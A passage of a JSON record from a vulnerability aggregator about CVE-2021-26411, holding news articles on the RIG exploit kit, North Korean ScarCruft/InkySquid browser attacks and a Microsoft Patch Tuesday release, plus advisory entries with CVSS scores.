use it in combination with some of their more sophisticated backdoors such as Dolphin. Moreover, the office theme of [command-and-control] domains matches previous campaigns.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-12-08T07:59:00", "type": "thn", "title": "Google Warns of Internet Explorer Zero-Day Vulnerability Exploited by ScarCruft Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1380", "CVE-2021-26411", "CVE-2022-41128"], "modified": "2022-12-09T17:03:29", "id": "THN:0EBBF876A406C3077C85D0DC9EF01199", "href": "https://thehackernews.com/2022/12/google-warns-of-internet-explorer-zero.html", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-06-22T05:57:19", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEj2wZ2WigbmeeiVSmTQ4-67rEYUW7v2I3ZX859kqxEIsqx_2RJvNHrPTNneci3kd3F74Xm1l3X8wl9ksep25v3sDCVMUE1-yMNEWMgUJEqIox4oxaikOSq0B0VsoRBGOKG5ulhQWnk5i6xfltyN5mGJdW3t0z1vXjd6kaxCI5E6GFZ4ZU4L5YI1QY6S/s728-e100/malware.jpg>)\n\nThe operators behind the Rig Exploit Kit have swapped the Raccoon Stealer malware for the Dridex financial trojan as part of an ongoing campaign that commenced in January 2022.\n\nThe switch in modus operandi, [spotted](<https://www.bitdefender.com/blog/labs/rig-exploit-kit-swaps-dead-raccoon-with-dridex/>) by Romanian company Bitdefender, comes in the wake of Raccoon Stealer [temporarily closing the project](<https://thehackernews.com/2022/04/researchers-warn-of-ffdroider-and.html>) after one of its team members responsible for critical operations passed away in the Russo-Ukrainian war in March 2022.\n\nThe Rig Exploit Kit is notable for its abuse of browser exploits to distribute an array of malware. First spotted in 2019, Raccoon Stealer is a credential-stealing trojan that's advertised and sold on underground forums as a malware-as-a-service (MaaS) for $200 a month.\n\nThat said, the Raccoon Stealer actors are already working on a second version that's expected to be \"rewritten from scratch and optimized.\" But the void left by the malware's exit is being filled by other information stealers such as RedLine Stealer and Vidar.\n\n[Dridex](<https://www.cisa.gov/uscert/ncas/alerts/aa19-339a>) (aka Bugat and Cridex), for its part, has the capability to download additional payloads, infiltrate browsers to steal customer login information entered on banking websites, capture screenshots, and log keystrokes, among others, through different modules that allow its functionality to be extended at will.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgBpTikSneV7T3pFFHkZC1iuLdpeuTlKFreYCRkDWPEJCcFNrVu_Aggg1pmArUunZao5RrT-2KwOLvxqcLBsymx3usE7pg7w7r3-aMy8PMbHKVLzrIsvKtKxSBr-L7BqKKlHxkCNn5_uTy5U6_dQHHR62Yoltgm_TiuZc8f7rkgEDfDB3-tzcmG-onm/s728-e100/map.jpg>)\n\nIn April 2022, Bitdefender [discovered](<https://thehackernews.com/2022/04/new-rig-exploit-kit-campaign-infecting.html>) another Rig Exploit Kit campaign distributing the RedLine Stealer trojan by exploiting an Internet Explorer flaw patched by Microsoft last year ([CVE-2021-26411](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>)).\n\nThat's not all. Last May, a separate campaign [exploited](<https://www.bitdefender.com/blog/labs/new-wastedloader-campaign-delivered-through-rig-exploit-kit/>) two scripting engine vulnerabilities in unpatched Internet Explorer browsers ([CVE-2019-0752](<https://nvd.nist.gov/vuln/detail/CVE-2019-0752>) and [CVE-2018-8174](<https://nvd.nist.gov/vuln/detail/CVE-2018-8174>)) to deliver a malware called WastedLoader, so named for its similarities to WasterLocker but lacking the ransomware component.\n\n\"This once again demonstrates that threat actors are agile and quick to adapt to change,\" the cybersecurity firm said. \"By design, Rig Exploit Kit allows for rapid substitution of payloads in case of detection or compromise, which helps cyber criminal groups recover from disruption or environmental changes.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-22T05:41:00", "type": "thn", "title": "RIG Exploit Kit Now Infects Victims' PCs With Dridex Instead of Raccoon Stealer", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8174", "CVE-2019-0752", "CVE-2021-26411"], "modified": "2022-06-22T05:41:58", "id": "THN:DE791A2DD37FD88B59147561CF1F7BBF", "href": "https://thehackernews.com/2022/06/rig-exploit-kit-now-infects-victims-pcs.html", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-28T20:14:08", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjBhp7MpDIp8BmnU_nBxIn0U5U7pYNA-9qzA3L0FNRPsDg-6r06WOCSuLJy9epJJ4wYNSpY7wz5tkcJ3GizgssrVQXdIAJ9eivo-BW16UV6nKFkQNF4uu4dS7PdotWruSGmcROR5ST_-z32it8WA1T2D0RtDBCYfO-HYsb9p2ZLmk8LOUPzik5XEeiW/s728-e365/exploits.png>)\n\nThe RIG exploit kit (EK) touched an all-time high successful exploitation rate of nearly 30% in 2022, new findings reveal.\n\n\"RIG EK is a financially-motivated program that has been active since 2014,\" Swiss cybersecurity company PRODAFT [said](<https://www.prodaft.com/resource/detail/rig-rig-exploit-kit-depth-analysis>) in an exhaustive report shared with The Hacker News.\n\n\"Although it has yet to substantially change its exploits in its more recent activity, the type and version of the malware they distribute constantly change. The frequency of updating samples ranges from weekly to daily updates.\"\n\nExploit kits are programs used to distribute malware to large numbers of victims by taking advantage of known security flaws in commonly-used software such as web browsers.\n\nThe fact that [RIG EK](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rig-exploit-kit-diving-deeper-into-the-infrastructure/>) runs as a service model means threat actors can financially compensate the RIG EK administrator for installing malware of their choice on victim machines. The RIG EK operators primarily employ malvertising to ensure a high infection rate and large-scale coverage.\n\nAs a result, visitors using a vulnerable version of a browser to access an actor-controlled web page or a compromised-but-legitimate website are redirected using malicious JavaScript code to a proxy server, which, in turn, communicates with an exploit server to deliver the appropriate browser exploit.\n\nThe exploit server, for its part, detects the user's browser by parsing the User-Agent string and returns the exploit that \"matches the pre-defined vulnerable browser versions.\"\n\n\"The artful design of the Exploit Kit allows it to infect devices with little to no interaction from the end user,\" the researchers said. \"Meanwhile, its use of proxy servers makes infections harder to detect.\"\n\nSince arriving on the scene in 2014, RIG EK has been observed delivering a wide range of financial trojans, stealers, and ransomware such as [AZORult](<https://www.malware-traffic-analysis.net/2018/01/30/index.html>), [CryptoBit](<https://unit42.paloaltonetworks.com/unit42-cryptobit-another-ransomware-family-gets-an-update/>), [Dridex](<https://thehackernews.com/2022/06/rig-exploit-kit-now-infects-victims-pcs.html>), Raccoon Stealer, and WastedLoader. The operation was [dealt a huge blow](<https://www.bleepingcomputer.com/news/security/rig-exploit-kit-suffers-major-blow-following-coordinated-takedown-action/>) in 2017 following a coordinated action that dismantled its infrastructure.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhc-W77ksCVeOKxAHCwlWIPxzC9l7i48HMztDVefT_GTQN6XaD5H-mb8C5D7AiFGke7UyJ5rHfJOhQXKt9x-EyfGBIBCDjKneq6GUScJISxkgozl2YDnqMb57C6zKFVUmzRreQf_EkbmVnevMv6XZmYkkGXuKpQsb6L0VcfniBtPTvtvHytsjEfg53v/s728-e365/exploit-kit.png>)\n\nRecent RIG EK campaigns have [targeted](<https://thehackernews.com/2022/04/new-rig-exploit-kit-campaign-infecting.html>) a memory corruption vulnerability impacting Internet Explorer ([CVE-2021-26411](<https://nvd.nist.gov/vuln/detail/CVE-2021-26411>), CVSS score: 8.8) to deploy RedLine Stealer.\n\nOther browser flaws weaponized by the malware include [CVE-2013-2551](<https://nvd.nist.gov/vuln/detail/CVE-2013-2551>), [CVE-2014-6332](<https://nvd.nist.gov/vuln/detail/cve-2014-6332>), [CVE-2015-0313](<https://nvd.nist.gov/vuln/detail/CVE-2015-0313>), [CVE-2015-2419](<https://nvd.nist.gov/vuln/detail/CVE-2015-2419>), [CVE-2016-0189](<https://nvd.nist.gov/vuln/detail/CVE-2016-0189>), [CVE-2018-8174](<https://nvd.nist.gov/vuln/detail/CVE-2018-8174>), [CVE-2019-0752](<https://nvd.nist.gov/vuln/detail/CVE-2019-0752>), and [CVE-2020-0674](<https://nvd.nist.gov/vuln/detail/cve-2020-0674>).\n\nAccording to data collected by PRODAFT, 45% of the successful infections in 2022 leveraged CVE-2021-26411, followed by CVE-2016-0189 (29%), CVE-2019-0752 (10%), CVE-2018-8174 (9%), and CVE-2020-0674 (6%).\n\nBesides Dridex, Raccoon, and RedLine Stealer, some of the notable malware families distributed using RIG EK are [SmokeLoader](<https://thehackernews.com/2022/07/smokeloader-infecting-targeted-systems.html>), [PureCrypter](<https://thehackernews.com/2023/02/purecrypter-malware-targets-government.html>), [IcedID](<https://thehackernews.com/2023/01/icedid-malware-strikes-again-active.html>), [ZLoader](<https://thehackernews.com/2022/04/microsoft-disrupts-zloader-cybercrime.html>), [TrueBot](<https://thehackernews.com/2022/12/new-truebot-malware-variant-leveraging.html>), [Ursnif](<https://thehackernews.com/2022/10/latest-ursnif-variant-shifts-focus-from.html>), and [Royal ransomware](<https://thehackernews.com/2022/12/royal-ransomware-threat-takes-aim-at-us.html>).\n\nFurthermore, the exploit kit is said to have attracted traffic from 207 countries, reporting a 22% success rate over the past two months alone. The most number of compromises are located in Russia, Egypt, Mexico, Brazil, Saudi Arabia, Turkey, and several countries across Europe.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgHW2d3XvxN49JeSd1f1I2t_7jqwMXvWZbzufRHyKvB-lvloj3RLIU8xMMcAN9RImXCK1EPUEWhHZlJ1ofvfKXka6slISXtxBLv56tj9ldKN_j78xm_MDVC0DHWXESA4_ixJ-UbK1tEwyLlUb6srh7Wu6eeIowhT5K7S4TtZqS3yGIMcXdF56qeWpvC/s728-e365/chart.png>)\n\n\"Interestingly enough, the exploit try rates were the highest on Tuesday, Wednesday and Thursday - with successful infections taking place on the same days of the week,\" the researchers explained.\n\nPRODAFT, which also managed to gain visibility into the kit's control panel, said there are about six different users, two of whom (admin and vipr) have admin privileges. A user profile with the alias \"pit\" or \"pitty\" has subadmin permissions, and three others (lyr, ump, and test1) have user privileges.\n\n\"admin\" is also a dummy user mainly reserved for creating other users. The management panel, which works with a subscription, is controlled using the \"pitty\" user.\n\nHowever, an operational security blunder that exposed the git server led PRODAFT to de-anonymize two of the threat actors. It also assessed with high confidence that the developer of the Dridex malware has a \"close relationship\" with the RIG EK's administrators, owing to the additional manual configuration steps taken to \"ensure that the malware was distributed smoothly.\"\n\n\"Overall, RIG EK runs a very fruitful business of exploit-as-a-service, with victims across the globe, a highly effective exploit arsenal and numerous customers with constantly updating malware,\" the researchers said.\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-02-27T15:33:00", "type": "thn", "title": "Researchers Share New Insights Into RIG Exploit Kit Malware's Operations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-2551", "CVE-2014-6332", "CVE-2015-0313", "CVE-2015-2419", "CVE-2016-0189", "CVE-2018-8174", "CVE-2019-0752", "CVE-2020-0674", "CVE-2021-26411"], "modified": "2023-02-28T18:45:18", "id": "THN:35964D30086BA86E15030F5A7D404BE6", "href": "https://thehackernews.com/2023/02/researchers-share-new-insights-into-rig.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:02", "description": "[](<https://thehackernews.com/images/-B1GIJUi-Xfc/YEhXRdorEMI/AAAAAAAAB_o/0vVWsLXOqu0OjfRxUmUTUUvsoLhkTBy6QCLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nMicrosoft plugged as many as [89 security flaws](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Mar>) as part of its monthly Patch Tuesday updates released today, including fixes for an actively exploited zero-day in Internet Explorer that could permit an attacker to run arbitrary code on target machines.\n\nOf these flaws, 14 are listed as Critical, and 75 are listed as Important in severity, out of which two of the bugs are described as publicly known, while five others have been reported as under active attack at the time of release.\n\nAmong those five security issues are a clutch of vulnerabilities known as [ProxyLogon](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) that allows adversaries to break into Microsoft Exchange Servers in target environments and subsequently allow the installation of unauthorized web-based backdoors to facilitate long-term access.\n\nBut in the wake of Exchange servers coming under [indiscriminate assault](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) toward the end of February by multiple threat groups looking to exploit the vulnerabilities and plant backdoors on corporate networks, Microsoft took the unusual step of releasing out-of-band fixes a week earlier than planned.\n\nThe ramping up of [mass exploitation](<https://krebsonsecurity.com/2021/03/warning-the-world-of-a-ticking-time-bomb/>) after Microsoft released its updates on March 2 has led the company to deploy [another series of security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020>) targeting [older and unsupported](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) cumulative updates that are vulnerable to ProxyLogon attacks.\n\nAlso included in the mix is a patch for zero-day in Internet Explorer (CVE-2021-26411) that was discovered as exploited by North Korean hackers to [compromise security researchers](<https://thehackernews.com/2021/01/n-korean-hackers-targeting-security.html>) working on vulnerability research and development earlier this year.\n\nSouth Korean cybersecurity firm ENKI, which publicly [disclosed](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) the flaw early last month, claimed that North Korean nation-state hackers made an unsuccessful attempt at targeting its security researchers with malicious MHTML files that, when opened, downloaded two payloads from a remote server, one of which contained a zero-day against Internet Explorer.\n\nAside from these actively exploited vulnerabilities, the update also corrects a number of remote code execution (RCE) flaws in Windows DNS Server (CVE-2021-26877 and CVE-2021-26897, CVSS scores 9.8), Hyper-V server (CVE-2021-26867, CVSS score 9.9), SharePoint Server (CVE-2021-27076, CVSS score 8.8), and Azure Sphere (CVE-2021-27080, CVSS score 9.3).\n\nCVE-2021-26877 and CVE-2021-26897 are notable for a couple of reasons. First off, the flaws are rated as \"exploitation more likely\" by Microsoft, and are categorized as zero-click vulnerabilities of low attack complexity that require no user interaction.\n\nAccording to [McAfee](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/>), the vulnerabilities stem from an out of bounds read (CVE-2021-26877) and out of bounds write (CVE-2021-26897) on the heap, respectively, during the processing of [Dynamic Update](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/configure-dns-dynamic-updates-windows-server-2003>) packets, resulting in potential arbitrary reads and RCE.\n\nFurthermore, this is also the second time in a row that Microsoft has addressed a critical RCE flaw in Windows DNS Server. Last month, the company rolled out a fix for [CVE-2021-24078](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) in the same component which, if unpatched, could permit an unauthorized party to execute arbitrary code and potentially redirect legitimate traffic to malicious servers.\n\nTo install the latest security updates, Windows users can head to Start &gt; Settings &gt; Update &amp; Security &gt; Windows Update, or by selecting Check for Windows updates.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-10T05:37:00", "type": "thn", "title": "Microsoft Issues Security Patches for 89 Flaws \u2014 IE 0-Day Under Active Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24078", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26867", "CVE-2021-26877", "CVE-2021-26897", "CVE-2021-27065", "CVE-2021-27076", "CVE-2021-27080"], "modified": "2021-08-13T09:07:37", "id": "THN:BC8A83422D35DB5610358702FCB4D154", "href": "https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "prion": [{"lastseen": "2023-08-16T02:34:37", "description": "Internet Explorer Memory Corruption Vulnerability", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-11T16:15:00", "type": "prion", "title": "CVE-2021-26411", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2023-08-08T14:21:00", "id": "PRION:CVE-2021-26411", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-26411", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:35:19", "description": "A memory corruption vulnerability exists in Microsoft Internet Explorer. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Internet Explorer Memory Corruption (CVE-2021-26411)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2021-03-09T00:00:00", "id": "CPAI-2021-0108", "href": "", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}], "mscve": [{"lastseen": "2023-07-21T20:59:44", "description": "Internet Explorer Memory Corruption Vulnerability", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-09T08:00:00", "type": "mscve", "title": "Internet Explorer Memory Corruption Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2021-03-09T08:00:00", "id": "MS:CVE-2021-26411", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26411", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2021-08-19T20:34:03", "description": "The InkySquid advanced persistent threat (APT) group, which researchers have linked to the North Korean government, was caught launching watering hole attacks against a South Korean newspaper using known Internet Explorer vulnerabilities.\n\nNew analysis from Volexity reported its team of researchers noticed [suspicious code being loaded](<https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/>) on the Daily NK site, a news outlet focused on North Korea, starting in April. And although the links led to real files, malicious code was being inserted for brief periods, making it difficult to detect. The researchers suspected the attack was ongoing between March and June.\n\n\u201cWhen requested, with the correct Internet Explorer user-agent, this host would serve additional obfuscated JavaScript code,\u201d Volexity\u2019s team reported. \u201cAs with the initial redirect, the attacker chose to bury their malicious code amongst legitimate code. In this case, the attacker used the \u2018bPopUp\u2019 JavaScript library alongside their own code.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe researchers added that since the code is largely legitimate, it would likely evade both manual and [automated detection](<https://threatpost.com/security-risks-cloud/168754/>). The code, which the attackers camouflage around real content, is consistent with Internet Explorer bug CVE-2020-1380, the report said.\n\nAnother similar attack from the InkySquid group (aka APT37, Reaper or ScarCruft) leveraged CVE-2021-26411 to [attack Internet Explorer](<https://threatpost.com/exploited-windows-zero-day-patch/168539/>) as well as legacy versions of Microsoft Edge, according to Volexity.\n\n\u201cAs with the CVE-2020-1380 example, the attacker made use of encoded content stored in SVG tags to store both key strings and their initial payload,\u201d the researchers explained. \u201cThe initial command-and-control (C2) URLs were the same as those observed in the CVE-2020-1380 case.\u201d\n\n## **InkySquid\u2019s Bluelight Malware **\n\nThe group has also developed a new [malware family](<https://threatpost.com/malware-makers-using-exotic-programming-languages/168117/>) that the report calls \u201cBluelight\u201d \u2014 a name that was chosen because the word \u201cbluelight\u201d was used in the malware\u2019s program database (PDB) code.\n\nCobalt Strike was used to initiate all three of these attacks, the report said. Bluelight appears to be delivered as a secondary payload.\n\n\u201cThe Bluelight malware family uses different cloud providers to facilitate C2,\u201d the report said. \u201cThis specific sample leveraged the Microsoft Graph API for its C2 operations. Upon start-up, Bluelight performs an OAuth2 token authentication using hard-coded parameters.\u201d\n\nAfter authentication, the malware creates a folder in the OneDrive subdirectory, which is controlled by a C2 server, Volexity observed, with innocuous-sounding names like \u201clogo,\u201d \u201cnormal,\u201d background,\u201d \u201ctheme\u201d and \u201cround.\u201d\n\nThen it sets about exfiltrating data, including username, IP addresses, running VM tools on the machine, OS version and more, formatted as a JSON (JavaScript Object Notation), the team explained.\n\n\u201cThe main C2 loop starts after the initial upload of the reconnaissance data, iterating once every approximately 30 seconds,\u201d the report said. \u201cFor the first five minutes, each iteration will capture a screenshot of the display and upload it to the \u2018normal\u2019 subdirectory with an encoded timestamp as the filename. After the first five minutes, the screenshot uploads once every five minutes.\u201d\n\nWhile leveraging known IE bugs won\u2019t work on a wide swath of targets, once a system is infected detection is difficult thanks to the use of legit code as cover.\n\n\u201cWhile strategic web compromises (SWCs) are not as popular as they once were, they continue to be a weapon in the arsenal of many attackers,\u201d the report said.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-19T20:19:04", "type": "threatpost", "title": "InkySquid State Actor Exploiting Known IE Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1380", "CVE-2021-26411"], "modified": "2021-08-19T20:19:04", "id": "THREATPOST:62A15BEBBD95FBF8704B78058BF030F1", "href": "https://threatpost.com/inkysquid-exploiting-ie-bugs/168833/", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-15T11:25:30", "description": "Threat actors used a Safari zero-day flaw to send malicious links to government officials in Western 